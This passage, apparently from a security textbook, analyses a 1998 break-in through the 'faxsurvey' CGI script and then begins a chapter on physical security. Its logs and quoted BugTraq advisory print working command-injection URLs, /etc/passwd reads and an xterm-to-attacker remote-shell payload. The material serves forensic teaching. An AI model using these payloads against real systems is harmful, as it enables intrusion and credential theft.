To trace the intruder, the ISP tried using the netstat command. This turned up a new piece of information. The intruder had not broken in with Telnet or SSH; instead, there was an X11 connection from the web server (Apache.Vineyard.NET) to an X server running on the intruder's computer:

```
bash-2.02# netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address      Foreign Address     (state)
tcp    0   0 VINEYARD.NET.http    nhv-ct4-09.ix.ne.1137 SYN_RCVD
tcp    0   0 VINEYARD.NET.http    nhv-ct4-09.ix.ne.1136 SYN_RCVD
tcp    0   0 VINEYARD.NET.http    nhv-ct4-09.ix.ne.1135 SYN_RCVD
tcp    0   0 VINEYARD.NET.http    DSY27.VINEYARD.N.1079 SYN_RCVD
tcp    0  2456 VINEYARD.NET.http    nhv-ct4-09.ix.ne.1134 ESTABLISHED
tcp    0  2268 VINEYARD.NET.http    DSY27.VINEYARD.N.1078 ESTABLISHED
tcp    0  2522 VINEYARD.NET.http    209.174.140.26.1205  ESTABLISHED
tcp    0  8192 VINEYARD.NET.http    host-209-214-118.1785 ESTABLISHED
tcp    0  4916 VINEYARD.NET.http    host-209-214-118.1784 ESTABLISHED
tcp    0   0 VINEYARD.NET.http    host-209-214-118.1783 ESTABLISHED
tcp    0   0 VINEYARD.NET.http    ASY14.VINEYARD.N.1163 FIN_WAIT_2
tcp    0   0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1135 ESTABLISHED
tcp    0   0 LOCALHOST.VINEYA.1135 LOCALHOST.VINEYA.sendm ESTABLISHED
tcp    0   0 VINEYARD.NET.smtp    208.135.218.34.1479  ESTABLISHED
tcp    0  3157 VINEYARD.NET.pop     ASY5.VINEYARD.NE.1027 ESTABLISHED
tcp    0   0 APACHE.VINEYARD..ssh   MAC-EWB.VINEYARD.2050 ESTABLISHED
tcp    0   0 VINEYARD.NET.http    host-209-214-118.1782 FIN_WAIT_2
tcp    0   0 VINEYARD.NET.http    host-209-214-118.1781 FIN_WAIT_2
tcp    0   0 VINEYARD.NET.http    host-209-214-118.1775 FIN_WAIT_2
tcp    0   0 VINEYARD.NET.http    56k-2234.hey.net.1099 FIN_WAIT_2
tcp    0   0 VINEYARD.NET.https    ESY8.VINEYARD.NE.1557 FIN_WAIT_2
tcp    0   0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1058 ESTABLISHED
tcp    0   0 LOCALHOST.VINEYA.1058 LOCALHOST.VINEYA.sendm ESTABLISHED
```

```
tcp    0   0 APACHE.VINEYARD..smtp m28.boston.juno..54519 ESTABLISHED
tcp    0   0 APACHE.VINEYARD..ssh   MAC-EWB.VINEYARD.nfs  ESTABLISHED
tcp    0 328 APACHE.VINEYARD..ssh   MAC-EWB.VINEYARD.2048 ESTABLISHED
tcp    0   0 VINEYARD.NET.http    ASY14.VINEYARD.N.1162 FIN_WAIT_2
tcp    0   0 VINEYARD.NET.http    ASY14.VINEYARD.N.1160 FIN_WAIT_2
tcp    0   0 NEXT.VINEYARD.NE.ssh   ASY12.VINEYARD.N.1047 ESTABLISHED
tcp    0 7300 VINEYARD.NET.pop     DSY27.VINEYARD.N.1061 ESTABLISHED
tcp    0   0 NEXT.VINEYARD.NE.imap2 ASY12.VINEYARD.N.1041 ESTABLISHED
tcp    0   0 VINEYARD.NET.3290    VINEYARD.NET.imap2    CLOSE_WAIT
tcp    0   0 VINEYARD.NET.ssh     simsong.ne.media.1017 ESTABLISHED
tcp    0   0 APACHE.VINEYARD..3098 KRLDB110-06.spli.X11  ESTABLISHED
tcp  8760   0 VINEYARD.NET.1022    BACKUP.VINEYARD..ssh  ESTABLISHED
tcp    0   0 LOCALHOST.VINEYA.4778 *.*          LISTEN
tcp    0   0 LOCALHOST.VINEYA.domai *.*          LISTEN
tcp    0   0 NET10.VINEYARD.N.domai *.*          LISTEN
tcp    0   0 SMTP4.VINEYARD.N.domai *.*          LISTEN
```

The ISP concluded that the attacker had used a vulnerability in a CGI script to spawn an *xterm* back to his remote machine. To test this hypothesis, the ISP did a quick search through its web server logs:

```
% grep -I krldb110-06 /vni/apache/log/access_log
```

1. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:48 -0400] “GET /cgi-bin/ phf?Qname=me%0als%20-lFa HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
2. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:50 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.0” 200 5469 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
3. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:52 -0400] “GET /cgi-bin/ view-source?../../../../../../../../etc/passwd HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
4. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:53 -0400] “GET /cgi-bin/ htmlscript?../../../../../../../../etc/passwd HTTP/1.0” 404 - “-” “Mozilla/ 4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
5. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:54 -0400] “GET /cgi-bin/ campas?%0als%20-lFa HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” “/htdocs/biz/captiva”
6. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:55 -0400] “GET /cgi-bin/ handler/useless_shit;ls%20-lFa|?data=Download HTTP/1.0” 404 - “-” “Mozilla/ 4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
7. krldb110-06.splitrock.net - - [06/Oct/1998:02:53:56 -0400] “GET /cgi-bin/ php.cgi?/etc/passwd HTTP/1.0” 404 - “-” “Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)” “/htdocs/biz/captiva”
8. krldb110-06.splitrock.net - - [06/Oct/1998:02:54:30 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.1” 200 5516 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
9. krldb110-06.splitrock.net - - [06/Oct/1998:02:54:44 -0400] “GET /cgi-bin/ faxsurvey?uname%20-a HTTP/1.1” 200 461 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
10. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:03 -0400] “GET /cgi-bin/ faxsurvey?id HTTP/1.1” 200 381 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
11. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:39 -0400] “GET /cgi-bin/ faxsurvey?cat%20/etc/passwd HTTP/1.1” 200 79467 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”
12. krldb110-06.splitrock.net - - [06/Oct/1998:02:55:44 -0400] “GET /cgi-bin/ faxsurvey?ls%20-lFa%20/usr/ HTTP/1.1” 200 1701 “-” “Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)” “/htdocs/biz/captiva”

13. krldb110-06.splitrock.net - - [06/Oct/1998:04:31:55 -0400] "GET /cgi-bin/ faxsurvey?id HTTP/1.1" 200 381 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web.vineyard.net"
14. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:01 -0400] "GET /cgi-bin/ faxsurvey?pwd HTTP/1.1" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web.vineyard.net"
15. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:08 -0400] "GET /cgi-bin/ faxsurvey?/bin/pwd HTTP/1.1" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 4. 01; Windows 98)" "/htdocs/web.vineyard.net"
16. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:33 -0400] "GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.1" 200 5516 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web.vineyard.net"
17. krldb110-06.splitrock.net - - [06/Oct/1998:04:32:55 -0400] "GET /cgi-bin/ faxsurvey?ls%20-lFa%20../conf/ HTTP/1.1" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web.vineyard.net"

Notice that lines 1–7 each occur within a few seconds of each other. It appears that the attacker is using an automated tool that checks for CGI vulnerabilities. In 8–17 the attacker exploits a vulnerability in the *faxsurvey* script. This was almost certainly done with a different tool; one indication is that the version of the HTTP protocol that the client supports changes from "HTTP/1.0" to "HTTP/1.1".

The web server log file revealed that the full hostname of the attacker was *krldb110-06. splitrock.net*. Using the host command, this address could be translated into an actual IP address:

```
apache: {43} % host krldb110-06.splitrock.net
krldb110-06.splitrock.net has address 209.156.113.121
apache: {44} %
```

By inspecting the log file, it appears that the script */cgi-bin/faxsurvey* has a bug that allows the attacker to execute arbitrary commands. (Otherwise, why else would the attacker keep sending URLs calling the same script with different arguments?) If this is true, then the following commands must have been executed by the attacker:

```
ls -lFa
ls -lFa
uname -a
id
cat /etc/passwd
ls -lFa /usr/
id
pwd
/bin/pwd
ls -lFa
ls -lFa ../conf/
```

It is not clear from the log files how the attacker was able to go from executing these commands to executing the *xterm* command. But is very clear that the *xterm* command was executed, as evidenced by the *http* entry in the output of the w command, the running (*xterm*) process, and the X11 entry in the *netstat* command.

At this point, the ISP searched for the attacker's hostname in other log files. A suspicious result was found in the *messages* log file — apparently the attacker had attempted to exploit a POP or *qpopper* bug:

```
apache: {15} % grep -i krldb110-06 *
messages:Oct 6 03:38:29 apache popper.bsdos[22312]: @KRLDB110-06. splitrock.net: -ERR POP
timeout
```

To preserve the record of the attacker's processes, they were stopped, an image of the process memory was saved, and then the processes were killed.

Following this, a rule was added to the ISP's routers to block access from the attacker's IP addresses. Permissions on the *faxsurvey* script were changed to prevent any access, pending an investigation. A few days later, the script was removed from the web server.

The attacked ISP contacted SplitRock Services, Inc., the ISP that was responsible for the IP address. It was determined that SplitRock operated several modem pools that were provided to another ISP (Prodigy) on a leasing arrangement. SplitRock was asked to preserve its logfiles so that they could be used in a future legal investigation.

By using the Unix *strings* command over the process memory image files, it was possible to extract significantly more information about the attacker. One group of strings was from the shell *history* that was, effectively, a list of the commands that the attacker had typed. The attacker appeared to have downloaded a rootkit, and also to have attempted to get a buffer overflow attack to work properly against the system's IMAP server:

```
-lFa        gcc -o s s.c
st2.c       ftp 209.156.113.121
cron.c      gcc -o s st2.c
cxterm.c    ./s console
x2.c        t .s
qpush.c     .121
cat t.c     qpush.c
cat .c      ppp.c
cat s.c     t2.c
gc c        cron.c
ls -lFa     cxterm.c
./s -v c2   tcsh
./s p0      x2.c
ls -lFa /   README
cat .s      README.debian
ls -lFa     qpush
cat /w      qpush.c
ls -lFa /   qpush.c.old
cat .s      Gf: not found
_=.s        /tmp
$ : not found       mfs:28
gcc -o s steal.c    /bin/sh
ls -lFa *.c
/bin/sh
/bin/sh
/etc/inetd.conf
qpush.c
```

```
/usr/bin/gcc
n/gcc
./cc
Expr
Done
/bin/sh
inetd.conf
t) | telnet 127.1 143
cd /etc
cat .s
which pwd
ls –lFa
expr $L + 1
ls –lFa
./cc –10
./cc
```

The second kind of strings found in the memory images corresponded to shell environment variables. Many of these were variables that would be set for a process spawned from a CGI script — confirming that the shell was, in fact, the result of a CGI attack. This block confirmed that the CGI script responsible for the intrusion was the *faxsurvey* script.

```
GATEWAY_INTERFACE=CGI/1.1
REMOTE_HOST=krldb110-06.splitrock.net
MACHTYPE=i386-pc-bsdi3.1
HOSTNAME=apache.vineyard.net
L=100
SHLVL=1
REMOTE_ADDR=209.156.113.121
QUERY_STRING=/usr/X11R6/bin/xterm%20-display%20209.156.113.121:0.0%20- rv%20-e%20/bin/sh
DOCUMENT_ROOT=/htdocs/biz/captiva
REMOTE_PORT=4801
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
HTTP_ACCEPT=application/vnd.ms-excel, application/msword, application/vnd. ms-powerpoint, */*
SCRIPT_FILENAME=/vni/cgi-bin/faxsurvey
HTTP_HOST=www.captivacruises.com
LOGNAME=http
WINDOWID=8388621
_=/bins
REQUEST_URI=/cgi-bin/faxsurvey?/usr/X11R6/bin/xterm%20-display%20209.156. 113.121:0.0%20-rv%20-
e%20/bin/sh
SERVER_SOFTWARE=Stronghold/2.2 Apache/1.2.5 C2NetUS/2002
TERM=xterm
HTTP_CONNECTION=Keep-Alive
PATH=/usr/local/bin:/bin:/usr/bin:/usr/sbin
HTTP_ACCEPT_LANGUAGE=en-us
DISPLAY=209.156.113.121:0.0
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
```

```
SHELL=/bin/tcsh
REQUEST_METHOD=GET
OSTYPE=bsdi3.1
SERVER_ADMIN=mvol@vineyard.net
SERVER_ROOT=/usr/local/apache
TERMCAP=xterm|vi|xterm-ic|xterm-vi|xterm with insert character instead of insert mode:
:al@:dl@:im=:ei=:mi@:ic=\E[@:  :AL=\E[%dL:DC=\E[%dP:DL=\E[
%dM:DO=\E[%dB:IC=\E[%d@:UP=\E[%dA:   :al=\E[L:am:  :bs:cd=\E[J:ce=\
E[K:cl=\E[H\E[2J:cm=\E[%i%d;%dH:co#80: :cs=\E[%i%d;%dr:ct=\E[3k:    :dc
SERVER_PORT=80
SCRIPT_NAME=/cgi-bin/faxsurvey
HOSTTYPE=i386
```

After the intrusion, the victim ISP contacted the Boston office of the Federal Bureau of Investigation. The ISP was informed that the Boston office had a damage threshold of $8,000 that needed to be exceeded before an investigation could be opened. As this threshold had not been met, no investigation would take place. While such minimums are understandable, they are unfortunate for two reasons:

- Many attacks are conducted by relatively young offenders, who might cease such activity if they received a warning or, at most, a suspended sentence. The lack of any official investigation and follow-up only encourages these attackers to engage in larger and larger crimes until they are responsible for serious damage.
- In this case, the attacker appeared to be quite sophisticated. It's quite possible that the attacker was engaged in other illegal activities that usually go by without anyone noticing. There are many cases in which the investigation of relatively small crimes have led law enforcement agencies to significant criminal enterprises. For example, it was a 75-cent accounting discrepancy that caused Cliff Stoll to track down a computer hacker who was ultimately found to be breaking into US commercial and military computers at the behest of the Soviet Union (a story detailed in Stoll's classic hacker thriller, *The Cuckoo's Egg*).

As it turns out, the vulnerability in the *faxsurvey* script had been reported over the BugTraq mailing list nearly three months prior to the attack. Either nobody from the ISP had been reading the BugTraq mailing list, or else no one was aware that the *faxsurvey* script had been installed:

```
Date:     Tue, 4 Aug 1998 07:41:24 -0700
Reply-To:   dod@muenster.net
From:     Tom <dod@MUENSTER.NET>
Subject:   remote exploit in faxsurvey cgi-script

Hi!

There exist a bug in the 'faxsurvey' CGI-Script, which allows an attacker to execute any command s/he wants with
the permissions of the HTTP-Server.

All the attacker has to do is type http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd in his
favorite Web-Browser to get a copy of your Password-File.

All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones) with the HylaFAX package installed are vulnerable
to this attack.
```

AFAIK the problem exists in the call of 'eval'.

I notified the S.u.S.E. team (suse.de) about that problem. Burchard Steinbild <bs@suse.de> told me, that they have not enough time to fix that bug for their 5.3 Dist., so they decided to just remove the script from the file list.

After the break-in, the ISP performed the following cleanup:

- An immediate backup of all disks was done. This backup was preserved as evidence in the event that damage was discovered that needed to be addressed.
- The system was scanned for new privileged files. None were found.
- Permissions on the */usr/include* directory and the C compiler were changed so that only staff members could access these files and compile new programs.
- Key programs were compared with the distribution CD-ROM to determine if any had been modified. They had not been.
- All log files were manually examined for additional suspicious activity. None was found.
- After a week, the router rule blocking access to SplitRock was removed.

CHAPTER 3.
PHYSICAL SECURITY

At a Glance

"Physical security" is almost everything that happens before you start typing commands on the keyboard. It's the building alarm system. It's the key lock on your computer's power supply, the locked computer room with the closed-circuit camera, and the uninterruptible power supply and power conditioners. Despite the fact that physical security is often overlooked, it is extraordinarily important. This chapter discusses many physical security threats, including environmental dangers, vandalism and sabotage, and theft. It offers suggestions for how to address them.

Elements of Physical Security

People First

It should go without saying that in an emergency or disaster situation, the lives and safety of personnel should always come before data or equipment. Although there may be very limited exceptions to this rule (in certain military situations), you should never lose sight of what is truly irreplaceable.

Planning for the Forgotten Threats

Surprisingly, many organizations do not consider physical security. One New York investment house was spending tens of thousands of dollars on computer security measures to prevent break-ins during the day, only to discover that its cleaning staff was propping open the doors to the computer room at night while the floor was being mopped. A magazine in San Francisco had more than $100,000 worth of computers stolen over a holiday: an employee had used his electronic key card to unlock the building and disarm the alarm system; after getting inside, the person went to the supply closet where the alarm system was located and removed the paper log from the alarm system's printer.

Other organizations feel that physical security is simply too complicated or too difficult to handle properly. Few organizations have the ability to protect their servers from a nuclear attack, a major earthquake, or a terrorist bombing. But it is important not to let these catastrophic possibilities paralyze and prevent an organization from doing careful disaster planning.

The issues that physical security encompasses—the threats, practices, and protections—are different for practically every different site and organization. Because every site is different, this chapter can't give you a set of specific recommendations. It can only give you a starting point, a list of issues to consider, and a suggested procedure for formulating your actual plan.

The Physical Security Plan

The first step to physically securing your installation is to formulate a written plan addressing your current physical security needs and your intended future direction. Ideally, your physical plan should be part of your site's written security policy. This plan should be reviewed by others for completeness, and it should be approved by your organization's senior management. Thus, the purpose of the plan is both planning and political buy-in.

Your security plan should describe the assets you're protecting, their value, the areas where they're located, and the likely threats and their associated probabilities. Don't forget to include information as an asset. You'll also want to

outline your security perimeter – the boundary between the rest of the world and your secure area – and any holes in the perimeter, along with your defense, plans for strengthening them, and the cost of implementing those plans. If you are managing a particularly critical installation, take great care in formulating this plan. Have it reviewed by an outside firm that specializes in disaster recovery planning and risk assessment. Consider your security plan a sensitive document: by its very nature, it contains detailed information on your defenses' weakest points.

The Disaster Recovery Plan

You should also have a plan for immediately securing temporary computer equipment and for loading your backups onto new systems in case your computer is ever stolen or damaged. This plan is known as a *disaster recovery plan*. It should also include its own security component; even when you're operating at your disaster site or transitioning back to normal operations, it's best to operate securely.

You can regularly test parts of this plan by renting or borrowing a computer system and trying to restore your backups. Less frequently, it's a good idea to test the entire plan, to include that your alternative facilities are available and will function when you need them.

Other Contingencies

Beyond the items mentioned earlier, you may also wish to consider the impact on your operations of the following:

Loss of phone service or network connections
How will the loss of service impact your regular operations?

Vendor continuity
How important is support? Can you move to another hardware or software system if your vendor goes out of business or makes changes you don't wish to adopt?

Significant absenteeism of staff
Will this impact your ability to operate?

Death or incapacitation of key personnel
Can every member of your computer organization be replaced? What are the contingency plans?

Disaster recovery planning efforts should fit into your organization-wide contingency plans. Saving data is often critical, but becomes less useful when you don't have space, power, or tools necessary to continue to operate anyway.

Protecting Computer Hardware

Physically protecting a computer presents many of the same problems that arise when protecting typewriters, jewelry, and file cabinets. As with a typewriter, an office computer is something that many people inside the office need to access on an ongoing basis. As with jewelry, computers are valuable and generally easy for a thief to sell. As with legal files and financial records, if you don't have a backup—or if the backup is stolen or destroyed along with the computer—the data you have lost may well be irreplaceable. Even if you do have a backup, you will still need to spend valuable time setting up a replacement system. Finally, there is always the chance that the stolen information itself, or even the mere fact that information was stolen, will be used against you.

To make matters worse, computers and computer media are temperamental. A computer's power supply can be blown out simply by leaving the machine *plugged into the wall* if lightning strikes nearby.

There are several measures that you can take to protect your computer system against physical threats. Many of them will simultaneously protect the system from dangers posed by nature, outsiders, and inside saboteurs.

Protecting Against Environmental Dangers

Computers often require exactly the right balance of physical and environmental conditions to operate properly. Altering this balance can cause your computer to fail in unexpected and often undesirable ways. Even worse, your computer might continue to operate erratically, producing incorrect results and corrupting valuable data.

Fire

Computers are notoriously bad at surviving fires. You can increase the chances that your computer will be an exception by making sure that there is good fire-extinguishing equipment nearby, and that personnel are trained to use it. Automatic gas discharge systems and dry-pipe water-based sprinkler systems each have advantages and disadvantages that should be carefully considered (PUIS, 198-200)

Be sure that your wiring is protected, in addition to your computers. Be certain that smoke detectors and sprinkler heads, if used, are appropriately positioned to cover wires in wiring trays (often above your suspended ceilings) and in wiring closets.

Smoke

Smoke is very damaging to computer equipment. Smoke is a potent abrasive and collects on the heads of unsealed magnetic disks, optical disks, and tape drives.

Sometimes smoke is generated by computers themselves. Electrical fires—particularly those caused by the transformers in video monitors—can produce a pungent, acrid smoke that may damage other equipment and may also be poisonous or a carcinogen. Another significant danger is the smoke that comes from cigarettes and pipes.

Install smoke detectors in every room with computer equipment, and be sure to mount them under raised floors and over suspended ceilings as well. Do not permit smoking in your computer room. (PUIS, 200-201)

Earthquake

Nearly every part of the planet experiences the occasional temblor. While some buildings collapse in an earthquake, most remain standing. Careful attention to the placement of shelves and bookcases in your office can increase the chances that you and your computers will survive all but the worst disasters.

Avoid placing computers on any high surfaces or near windows; similarly, avoid placing other heavy objects on shelves near computers where they might fall onto your equipment. A good approach is to place computers under strong tables. Also consider physically attaching the computer to the surface on which it is resting. You can use bolts, tie-downs, straps, or other implements. (This practice also helps deter theft.)

Temperature extremes

Computers, like people, operate best within certain temperature ranges. Most computer systems should be kept between 10 to 32 degrees Celsius (50 and 90 degrees Fahrenheit). If the ambient temperature around your computer gets too high, the computer cannot adequately cool itself, and internal components can be damaged. If the temperature gets too cold, the system can undergo thermal shock when it is turned on, causing circuit boards or integrated circuits to crack.

Once you've determined what temperature ranges your computers can tolerate, maintain those temperatures. Pay particular attention to the heat discharge and air flow patterns of the machines. Use temperature alarms to monitor the ambient temperature. (PUIS, 203-204)

Electrical noise

Motors, fans, heavy equipment, and even other computers generate electrical noise that can cause intermittent problems with the computer you are using. This noise can be transmitted through space or nearby power lines.

Electrical surges are a special kind of electrical noise that consists of one (or a few) high-voltage spikes. If possible, each computer should have a separate electrical circuit with an isolated ground and power filtering equipment; in no cases should a computer share a circuit with heavy equipment. Radio transmitters (including cellular phones) should be kept away from computers. (PUIS, 204-205)

Lightning

Lightning generates large power surges that can damage even computers with otherwise protected electrical supplies. If lightning strikes your building's metal frame (or hits your building's lightning rod), the resulting current can generate an intense magnetic field on its way to the ground. Computers should be unplugged during lightning storms; if that's not possible, invest in surge suppression devices. Although they won't protect against a direct strike, they can help when storms are distant. Magnetic media should be stored as far as possible from the building's structural steel members. Never run copper network cable outdoors unless it's in a metal conduit. (PUIS, 205)

Water

Water can destroy your computer. The primary danger is an electrical short, which can happen if water bridges between a circuit board trace carrying voltage and a trace carrying ground.

Water usually comes from rain or flooding. Sometimes it comes from an errant sprinkler system. Water also may come from strange places, such as a toilet overflowing on a higher floor, vandalism, or the fire department

Keep computers out of basements that are prone to flooding. Mount water sensors on the floor of computer rooms, as well as under raised floors, and use them to automatically cut off power in the event of a flood.

Food and drink

Food—especially oily food—collects on people's fingers and from there gets on anything that a person touches. Often this includes dirt-sensitive surfaces such as magnetic tapes and optical disks. One of the fastest ways of putting a desktop keyboard out of commission is to pour a soft drink or cup of coffee between the keys. Generally, the simplest rule is the safest: keep all food and drink away from your computer systems.[209]

[209] Perhaps more than any other rule in this chapter, this rule is honored most often in the breach.

Other environmental hazards

Several other environmental hazards bear consideration:

- Dust. Keep computer rooms as dust-free as possible, and use a computer vacuum with a microfilter on a regular basis. (PUIS, 201-202)
- Explosion. If you need to operate a computer in an area where there is a risk of explosion, you might consider purchasing a system with a ruggedized case. Backups should be kept in blast-proof vaults or off-site. (PUIS, 203)
- Insects. Take active measures to limit the amount of insect life in your machine room. (PUIS, 204)
- Vibration. In a high-vibration environment, place computers on a rubber or foam mat if you can do so without blocking ventilation openings. (PUIS, 205-206)
- Humidity. Monitor and maintain an appropriate humidity.

Environmental monitoring

To detect spurious problems, continuously monitor and record your computer room's temperature and relative humidity. As a general rule of thumb, every 1,000 square feet of office space should have its own recording equipment. Log and check recordings on a regular basis.

Controlling Physical Access

Simple common sense will tell you to keep your computer in a locked room. But how safe is that room? Sometimes a room that appears to be safe is actually wide open.

Raised floors and dropped ceilings

In many modern office buildings, internal walls do not extend above dropped ceilings or beneath raised floors. This type of construction makes it easy for people in adjoining rooms, and sometimes adjoining offices, to gain access.

Entrance through air ducts

If the air ducts that serve your computer room are large enough, intruders can use them to gain entrance to an otherwise secured area. Areas that need a lot of ventilation should be served by several small ducts, or should have screened welded over air vents or inside the ducts. In a very high-security environment, motion detectors can be placed inside air ducts.

Glass walls

Although glass walls and large windows frequently add architectural panache, they can be severe security risks. Glass walls are easy to break; a brick and a bottle of gasoline thrown through a window can cause an incredible amount of damage. An attacker can also gain critical knowledge, such as passwords or information about system operations, simply by watching people on the other side of a glass wall or window. It may even be possible to capture information from a screen by analyzing its reflective glow. Interior glass walls are good for rooms which must be guarded but which the guard is not allowed to enter; in most other cases, avoid them. (PUIS, 208-209)

Defending Against Vandalism

Computer systems are good targets for vandalism. Reasons for vandalism include revenge, riots, strikes, political or ideological statements, or simply entertainment for the feebleminded. In principle, any part of a computer system—or the building that houses it—may be a target for vandalism. In practice, some targets are more vulnerable than others.

Ventilation holes

Several years ago, 60 workstations at the Massachusetts Institute of Technology were destroyed in a single evening by a student who poured Coca-Cola into each computer's ventilation holes.

Computers that have ventilation holes need them. Don't seal up the holes to prevent this sort of vandalism. However, a rigidly enforced policy against food and drink in the computer room—or a 24-hour guard, in person or via closed-circuit TV—can help prevent this kind of incident from happening at your site.

Network cables

In many cases, a vandal can disable an entire subnet of workstations by cutting a single wire with a pair of wire cutters. Compared with Ethernet, fiber optic cables are at the same time more vulnerable (they can be more easily damaged), more difficult to repair (they are difficult to splice), and more attractive targets (they often carry more information).

"Temporary" cable runs often turn into permanent installations, so take extra time and effort to install cable correctly the first time. One simple method for protecting a network cable is to run it through physically secure locations. For example, Ethernet can be run through steel conduits. Besides protecting against vandalism, this practice protects against some forms of network eavesdropping, and may help protect your cables in the event of a small fire. Fiber optic cable can suffer small fractures if someone steps on it. A fracture of this type is difficult to locate because there is no break in the coating.

Some high-security installations use double-walled, shielded conduits with a pressurized gas between the layers. Pressure sensors on the conduit break off all traffic or sound a warning bell if the pressure ever drops, as might occur if someone breached the walls of the pipe.

Network connectors

In addition to cutting a cable, a vandal who has access to a network's endpoint—a network connector—can electronically disable or damage the network. All networks based on wire are vulnerable to attacks with high voltage.

Utility connections

In many buildings, electrical, gas, or water cutoffs may be accessible—sometimes even from the outside of the building. Because computers require electrical power, and because temperature control systems may rely on gas heating or water-cooling, these utility connections represent points of attack for a vandal.

Defending Against Acts of War and Terrorism

Because it is simply impossible to defend against many attacks, devise a system of hot backups and mirrored disks and servers. With a reasonably fast network link, you can arrange for files stored on one computer to be simultaneously copied to another system on the other side of town—or the other side of the world. Sites that cannot afford simultaneous backup can have hourly or nightly incremental dumps made across the network link. Although a tank or suicide bomber may destroy your computer center, your data can be safely protected someplace else.

Preventing Theft

Computer theft—especially laptop theft—can be merely annoying or can be an expensive ordeal. But if the computer contains information that is irreplaceable or extraordinarily sensitive, it can be devastating.

Many computer systems are stolen for resale—either the complete system or, in the case of sophisticated thieves, the individual components, which are harder to trace. Other computers are stolen by people who cannot afford to purchase their own computers. Still others are stolen for the information that they contain, usually by people who wish to obtain the information but sometimes by those who simply wish to deprive the computer's owner of the use of the information. No matter why a computer is stolen, most computer thefts have one common element: opportunity. In most cases, computers are stolen because they have been left unprotected.

Laptops and other kinds of portable computers present a special hazard. They are easily stolen, difficult to tie down (they then cease to be portable!), and easily resold. Personnel with laptops should be trained to be especially vigilant in protecting their computers. In particular, theft of laptops in airports has been reported to be a major problem. Laptops should not be left unattended anywhere, for any period of time. If you're traveling by cab, keep your laptop with you, rather than in the trunk.

Fortunately, by following a small number of simple and inexpensive measures, you can dramatically reduce the chance that your laptop or desktop computer will be stolen.

Locks

One very good way to protect your computer from theft is to physically secure it. A variety of physical tie-down devices are available to bolt computers to tables or cabinets. Although they cannot prevent theft, they make it more difficult.

Mobility is one of the great selling points of laptops. It is also the key feature that leads to laptop theft. One of the best ways to decrease the chance of having your laptop stolen is to lock it, at least temporarily, to a desk, a pipe, or another large object.

Most laptops sold today are equipped with a security slot. For less than $50 you can purchase a cable lock that attaches to a nearby object and locks into the security slot. Once set, the lock cannot be removed without either using the key or damaging the laptop case, which makes it very difficult to resell the laptop. These locks prevent most grab-and-run laptop thefts.

Tagging

Another way to decrease the chance of theft and increase the likelihood of return is to etch equipment with your name and phone number or tag it with permanent or semi permanent equipment tags. Tags make it very difficult for potential buyers or sellers to claim that they didn't know that the computer was stolen.

The best equipment tags are clearly visible and individually serial-numbered, so that an organization can track its property. A low-cost tagging system is manufactured by Secure Tracking of Office Property (*http://www.stoptheft.com*). These tags are individually serial-numbered and come with a three-year tracking service in Europe, Australia, Latin America, or North America. If a piece of equipment with a STOP tag is found, the company can arrange to have it sent by overnight delivery back to the original owner. An 800 number on the tag makes returning the property easy.

Laptop recovery software and services

Several companies now sell PC "tracing" programs. The tracing program hides in several locations on a laptop and places a call to the tracing service on a regular basis to reveal its location. The calls can be made using either a telephone line or an IP connection. Normally these "calls home" are ignored, but if the laptop is reported stolen to the tracing service, the police are notified about the location of the stolen property.

Of course, many of these systems work on desktop systems as well as laptops. Thus, you can protect systems that you believe are at a heightened risk of being stolen.

Component theft

When RAM has been expensive, businesses and universities have suffered a rash of RAM thefts. Many computer businesses and universities have also had major thefts of advanced processor chips. RAM and late-model CPU chips are easily sold on the open market. They are virtually untraceable. And, when thieves steal only some of the RAM inside a computer, weeks or months may pass before the theft is noticed. If a user complains that a computer is suddenly running more slowly than it did the day before, check its RAM, and then check to see that its case is physically secured.

Encryption

If your computer is stolen, the information it contains will be at the mercy of the equipment's new "owners." They may erase it or they may read it. Sensitive information can be sold, used for blackmail, or used to compromise other computer systems.

